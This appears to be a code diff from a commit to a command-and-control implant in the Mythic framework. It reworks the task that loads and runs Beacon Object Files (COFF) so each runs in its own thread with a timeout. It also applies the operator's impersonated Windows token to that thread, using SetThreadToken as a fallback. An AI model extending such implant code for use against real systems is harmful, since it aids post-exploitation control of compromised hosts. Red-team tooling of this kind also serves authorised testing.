15
15
using System . Collections . Generic ;
16
16
using System . Runtime . InteropServices ;
17
17
using System . Runtime . Serialization ;
18
+ using System . Security . Principal ;
18
19
using System . Text ;
20
+ using System . Threading ;
19
21
using static Tasks . execute_coff ;
20
22
21
23
@@ -31,7 +33,7 @@ internal struct CoffParameters
31
33
[ DataMember ( Name = "function_name" ) ]
32
34
public string FunctionName ;
33
35
[ DataMember ( Name = "timeout" ) ]
34
- public string timeout ;
36
+ public int timeout ;
35
37
[ DataMember ( Name = "coff_arguments" ) ]
36
38
public String PackedArguments ;
37
39
[ DataMember ( Name = "bof_id" ) ]
@@ -48,6 +50,14 @@ internal struct CoffParameters
48
50
49
51
[ UnmanagedFunctionPointer ( CallingConvention . Cdecl ) ]
50
52
public delegate IntPtr BeaconGetOutputDataDelegate ( [ In , Out ] ref int outsize ) ;
53
+ // Add imported SetThreadToken API for thread token manipulation
54
+ [ DllImport ( "advapi32.dll" , SetLastError = true ) ]
55
+ private static extern bool SetThreadToken (
56
+ ref IntPtr ThreadHandle ,
57
+ IntPtr Token ) ;
58
+
59
+ [ DllImport ( "kernel32.dll" , SetLastError = true ) ]
60
+ private static extern IntPtr GetCurrentThread ( ) ;
51
61
52
62
private static RunCOFFDelegate ? _RunCOFF ;
53
63
private static UnhexlifyDelegate ? _Unhexlify ;
@@ -982,14 +992,158 @@ public static bool LoadDLL(byte[] dllBytes)
982
992
}
983
993
return true ;
984
994
}
995
+ // Class to hold the state for COFF execution thread
996
+ private class COFFExecutionState
997
+ {
998
+ public IAgent Agent { get ; set ; }
999
+ public string FunctionName { get ; set ; }
1000
+ public IntPtr CoffData { get ; set ; }
1001
+ public uint FileSize { get ; set ; }
1002
+ public IntPtr ArgumentData { get ; set ; }
1003
+ public int ArgumentSize { get ; set ; }
1004
+ public int Status { get ; set ; }
1005
+ public AutoResetEvent CompletionEvent { get ; set ; }
1006
+ public string Output { get ; set ; }
1007
+ public Exception Error { get ; set ; }
1008
+ }
1009
+
1010
+ // Method to run COFF in a separate thread
1011
+ private static void ExecuteCOFFThreadFunc ( object state )
1012
+ {
1013
+ COFFExecutionState executionState = ( COFFExecutionState ) state ;
1014
+ IAgent agent = executionState . Agent ;
1015
+ try
1016
+ {
1017
+ DebugHelp . DebugWriteLine ( $ "Starting COFF execution in thread { Thread . CurrentThread . ManagedThreadId } ") ;
1018
+ WindowsImpersonationContext tokenApplied ;
1019
+ if ( ! agent . GetIdentityManager ( ) . IsOriginalIdentity ( ) )
1020
+ {
1021
+ DebugHelp . DebugWriteLine ( "Applying impersonation token to COFF execution thread" ) ;
1022
+ try
1023
+ {
1024
+ // Impersonate the current identity in this new thread
1025
+ tokenApplied = agent . GetIdentityManager ( ) . GetCurrentImpersonationIdentity ( ) . Impersonate ( ) ;
1026
+ DebugHelp . DebugWriteLine ( $ "Successfully applied token for { agent . GetIdentityManager ( ) . GetCurrentImpersonationIdentity ( ) . Name } to COFF thread") ;
1027
+ // Debug information about the current token
1028
+ WindowsIdentity currentThreadIdentity = WindowsIdentity . GetCurrent ( ) ;
1029
+ DebugHelp . DebugWriteLine ( $ "Thread identity after impersonation attempt: { currentThreadIdentity . Name } ") ;
1030
+ //DebugHelp.DebugWriteLine($"Thread token type: {currentThreadIdentity.Token.ToInt64():X}");
1031
+ //DebugHelp.DebugWriteLine($"Is authenticated: {currentThreadIdentity.IsAuthenticated}");
1032
+ //DebugHelp.DebugWriteLine($"Authentication type: {currentThreadIdentity.AuthenticationType}");
1033
+
1034
+ // List of groups/claims
1035
+ //DebugHelp.DebugWriteLine("Token groups/claims:");
1036
+ //foreach (var claim in currentThreadIdentity.Claims)
1037
+ //{
1038
+ // DebugHelp.DebugWriteLine($" - {claim.Type}: {claim.Value}");
1039
+ //}
1040
+
1041
+ // Compare with expected identity
1042
+ string expectedName = agent . GetIdentityManager ( ) . GetCurrentImpersonationIdentity ( ) . Name ;
1043
+ DebugHelp . DebugWriteLine ( $ "Expected identity: { expectedName } ") ;
1044
+ DebugHelp . DebugWriteLine ( $ "Identity match: { expectedName == currentThreadIdentity . Name } ") ;
1045
+
1046
+ }
1047
+ catch ( Exception ex )
1048
+ {
1049
+ DebugHelp . DebugWriteLine ( $ "Error applying token to thread: { ex . Message } ") ;
1050
+ // Fallback to using SetThreadToken API directly
1051
+ IntPtr threadHandle = GetCurrentThread ( ) ;
1052
+ IntPtr tokenHandle = agent . GetIdentityManager ( ) . GetCurrentImpersonationIdentity ( ) . Token ;
1053
+
1054
+ bool result = SetThreadToken ( ref threadHandle , tokenHandle ) ;
1055
+ if ( result )
1056
+ {
1057
+ DebugHelp . DebugWriteLine ( "Successfully applied token using SetThreadToken API" ) ;
1058
+ // Verify identity after SetThreadToken
1059
+ WindowsIdentity currentThreadIdentity = WindowsIdentity . GetCurrent ( ) ;
1060
+ DebugHelp . DebugWriteLine ( $ "Thread identity after SetThreadToken: { currentThreadIdentity . Name } ") ;
1061
+ }
1062
+ else
1063
+ {
1064
+ int error = Marshal . GetLastWin32Error ( ) ;
1065
+ DebugHelp . DebugWriteLine ( $ "SetThreadToken failed with error: { error } ") ;
1066
+ }
1067
+ }
1068
+ }
1069
+ else
1070
+ {
1071
+ DebugHelp . DebugWriteLine ( "Using original identity for COFF execution" ) ;
1072
+ try
1073
+ {
1074
+ WindowsIdentity currentThreadIdentity = WindowsIdentity . GetCurrent ( ) ;
1075
+ DebugHelp . DebugWriteLine ( $ "Thread identity (original): { currentThreadIdentity . Name } ") ;
1076
+ }
1077
+ catch ( Exception ex )
1078
+ {
1079
+ DebugHelp . DebugWriteLine ( $ "Error getting current identity: { ex . Message } ") ;
1080
+ }
1081
+ }
1082
+ // Execute the COFF
1083
+ executionState . Status = _RunCOFF (
1084
+ executionState . FunctionName ,
1085
+ executionState . CoffData ,
1086
+ executionState . FileSize ,
1087
+ executionState . ArgumentData ,
1088
+ executionState . ArgumentSize ) ;
1089
+
1090
+ DebugHelp . DebugWriteLine ( $ "COFF execution completed with status: { executionState . Status } ") ;
1091
+
1092
+ // Get output data if execution was successful
1093
+ if ( executionState . Status == 0 )
1094
+ {
1095
+ int outdataSize = 0 ;
1096
+ IntPtr outdata = _BeaconGetOutputData ( ref outdataSize ) ;
1097
+
1098
+ if ( outdata != IntPtr . Zero && outdataSize > 0 )
1099
+ {
1100
+ byte [ ] outDataBytes = new byte [ outdataSize ] ;
1101
+ Marshal . Copy ( outdata , outDataBytes , 0 , outdataSize ) ;
1102
+ executionState . Output = Encoding . Default . GetString ( outDataBytes ) ;
1103
+ DebugHelp . DebugWriteLine ( $ "Retrieved { outdataSize } bytes of output data") ;
1104
+ }
1105
+ else
1106
+ {
1107
+ executionState . Output = "No Output" ;
1108
+ DebugHelp . DebugWriteLine ( "No output data was returned from COFF execution" ) ;
1109
+ }
1110
+ }
1111
+ else
1112
+ {
1113
+ DebugHelp . DebugWriteLine ( $ "COFF execution failed with status: { executionState . Status } ") ;
1114
+ }
1115
+ try
1116
+ {
1117
+ DebugHelp . DebugWriteLine ( "Reverting impersonation in COFF thread" ) ;
1118
+ WindowsIdentity . Impersonate ( IntPtr . Zero ) ;
1119
+ }
1120
+ catch ( Exception ex )
1121
+ {
1122
+ DebugHelp . DebugWriteLine ( $ "Error reverting impersonation: { ex . Message } ") ;
1123
+ }
1124
+
1125
+ }
1126
+ catch ( Exception ex )
1127
+ {
1128
+ DebugHelp . DebugWriteLine ( $ "Exception in COFF execution thread: { ex . Message } ") ;
1129
+ DebugHelp . DebugWriteLine ( $ "Exception stack trace: { ex . StackTrace } ") ;
1130
+ executionState . Error = ex ;
1131
+ }
1132
+ finally
1133
+ {
1134
+ // Signal that execution is complete
1135
+ DebugHelp . DebugWriteLine ( "Signaling COFF execution completion" ) ;
1136
+ executionState . CompletionEvent . Set ( ) ;
1137
+ }
1138
+ }
985
1139
public override void Start ( )
986
1140
{
987
1141
MythicTaskResponse resp ;
988
1142
989
1143
try
990
1144
{
991
1145
CoffParameters parameters = _jsonSerializer . Deserialize < CoffParameters > ( _data . Parameters ) ;
992
- if ( string . IsNullOrEmpty ( parameters . CoffName ) || string . IsNullOrEmpty ( parameters . FunctionName ) || string . IsNullOrEmpty ( parameters . timeout ) )
1146
+ if ( string . IsNullOrEmpty ( parameters . CoffName ) || string . IsNullOrEmpty ( parameters . FunctionName ) )
993
1147
{
994
1148
resp = CreateTaskResponse (
995
1149
$ "One or more required arguments was not provided.",
@@ -1040,27 +1194,78 @@ public override void Start()
1040
1194
IntPtr coffArgs = _Unhexlify ( parameters . PackedArguments , ref coffArgsSize ) ;
1041
1195
IntPtr RunCOFFinputBuffer = Marshal . AllocHGlobal ( coffBytes . Length * sizeof ( byte ) ) ;
1042
1196
Marshal . Copy ( coffBytes , 0 , RunCOFFinputBuffer , coffBytes . Length ) ;
1043
- _agent . GetTaskManager ( ) . AddTaskResponseToQueue ( CreateTaskResponse ( "" , false , $ "Executing COFF { parameters . CoffName } ") ) ;
1044
- int status = _RunCOFF ( parameters . FunctionName , RunCOFFinputBuffer , ( uint ) coffBytes . Length , coffArgs , coffArgsSize ) ;
1045
- Marshal . FreeHGlobal ( RunCOFFinputBuffer ) ;
1046
- if ( status == 0 )
1197
+ _agent . GetTaskManager ( ) . AddTaskResponseToQueue ( CreateTaskResponse ( "[*] Starting COFF Execution...\n \n " , false , $ "Executing COFF { parameters . CoffName } ") ) ;
1198
+ // Create execution state object
1199
+ COFFExecutionState executionState = new COFFExecutionState
1047
1200
{
1048
- IntPtr outdata = _BeaconGetOutputData ( ref outdataSize ) ;
1049
- if ( outdata != null )
1201
+ Agent = _agent ,
1202
+ FunctionName = parameters . FunctionName ,
1203
+ CoffData = RunCOFFinputBuffer ,
1204
+ FileSize = ( uint ) coffBytes . Length ,
1205
+ ArgumentData = coffArgs ,
1206
+ ArgumentSize = coffArgsSize ,
1207
+ CompletionEvent = new AutoResetEvent ( false ) ,
1208
+ Output = "No Output"
1209
+ } ;
1210
+ try
1211
+ {
1212
+ // Start execution in a separate thread
1213
+ DebugHelp . DebugWriteLine ( "Starting COFF execution thread" ) ;
1214
+ Thread executionThread = new Thread ( new ParameterizedThreadStart ( ExecuteCOFFThreadFunc ) ) ;
1215
+ executionThread . IsBackground = true ; // Make thread a background thread so it doesn't keep process alive
1216
+ executionThread . Start ( executionState ) ;
1217
+
1218
+ // Wait for the thread to complete or timeout
1219
+ DebugHelp . DebugWriteLine ( $ "Waiting for COFF execution to complete (timeout: { parameters . timeout * 1000 } ms)") ;
1220
+ int timeout = parameters . timeout * 1000 > 0 ? parameters . timeout * 1000 : - 1 ;
1221
+ bool completed = executionState . CompletionEvent . WaitOne ( timeout ) ;
1222
+
1223
+ if ( ! completed )
1224
+ {
1225
+ // Execution timed out
1226
+ executionThread . Abort ( ) ;
1227
+ DebugHelp . DebugWriteLine ( "COFF execution timed out" ) ;
1228
+ resp = CreateTaskResponse (
1229
+ $ "COFF execution timed out after { parameters . timeout } seconds",
1230
+ true ,
1231
+ "error" ) ;
1232
+ }
1233
+ else if ( executionState . Error != null )
1234
+ {
1235
+ // Execution threw an exception
1236
+ Exception ex = executionState . Error ;
1237
+ DebugHelp . DebugWriteLine ( $ "COFF execution threw exception: { ex . Message } ") ;
1238
+ resp = CreateTaskResponse (
1239
+ $ "Exception during COFF execution: { ex . Message } \n Location: { ex . StackTrace } ",
1240
+ true ,
1241
+ "error" ) ;
1242
+ }
1243
+ else if ( executionState . Status != 0 )
1050
1244
{
1051
- byte [ ] outData = new byte [ outdataSize ] ;
1052
- Marshal . Copy ( outdata , outData , 0 , outdataSize ) ;
1053
- resp = CreateTaskResponse ( Encoding . Default . GetString ( outData ) , true ) ;
1054
- } else
1245
+ // Execution completed with an error status
1246
+ DebugHelp . DebugWriteLine ( $ "COFF execution failed with status: { executionState . Status } ") ;
1247
+ resp = CreateTaskResponse (
1248
+ $ "RunCOFF failed with status: { executionState . Status } ",
1249
+ true ,
1250
+ "error" ) ;
1251
+ }
1252
+ else
1055
1253
{
1056
- resp = CreateTaskResponse ( "No Output" , true ) ;
1254
+ // Execution completed successfully
1255
+ DebugHelp . DebugWriteLine ( "COFF execution completed successfully" ) ;
1256
+ resp = CreateTaskResponse ( executionState . Output , true ) ;
1057
1257
}
1058
- } else
1258
+ }
1259
+ finally
1059
1260
{
1060
- resp = CreateTaskResponse ( $ "RunCOFF Failed with status: { status } ", true , "error" ) ;
1261
+ // Clean up resources
1262
+ DebugHelp . DebugWriteLine ( "Cleaning up COFF execution resources" ) ;
1263
+ Marshal . FreeHGlobal ( RunCOFFinputBuffer ) ;
1264
+ // No need to free coffArgs as it's managed by the COFF loader
1061
1265
}
1062
1266
}
1063
1267
1268
+
1064
1269
catch ( Exception ex )
1065
1270
{
1066
1271
DebugHelp . DebugWriteLine ( $ "Exception: { ex . Message } ") ;
@@ -1069,6 +1274,7 @@ public override void Start()
1069
1274
}
1070
1275
1071
1276
_agent . GetTaskManager ( ) . AddTaskResponseToQueue ( resp ) ;
1277
+ _agent . GetTaskManager ( ) . AddTaskResponseToQueue ( CreateTaskResponse ( "\n [*] COFF Finished." , true ) ) ;
1072
1278
}
1073
1279
}
1074
1280
}
0 commit comments